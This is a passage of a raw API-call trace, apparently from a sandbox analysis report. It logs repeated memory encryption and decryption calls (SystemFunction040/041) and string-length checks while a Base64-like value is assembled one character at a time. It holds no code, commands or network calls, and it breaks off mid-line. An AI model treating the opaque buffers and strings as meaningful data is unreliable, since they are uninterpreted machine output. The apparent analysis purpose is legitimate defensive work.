[0137.439] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.439] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.439] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.439] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.440] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.440] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.440] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.440] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.441] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.441] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.441] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.441] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.441] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.441] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.441] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.441] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.441] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.441] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.442] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.442] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.442] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.442] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.442] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.442] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.442] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.442] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.443] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.443] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.443] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.443] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.443] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.443] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.443] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.443] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.443] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.443] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.444] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.444] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.444] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.444] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.444] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.444] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.444] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.444] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.444] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.445] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.445] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.445] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.445] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.445] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.445] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.445] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.445] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.445] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.445] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.445] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.446] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.446] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.446] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.446] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.446] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.446] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.446] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.446] SysStringLen 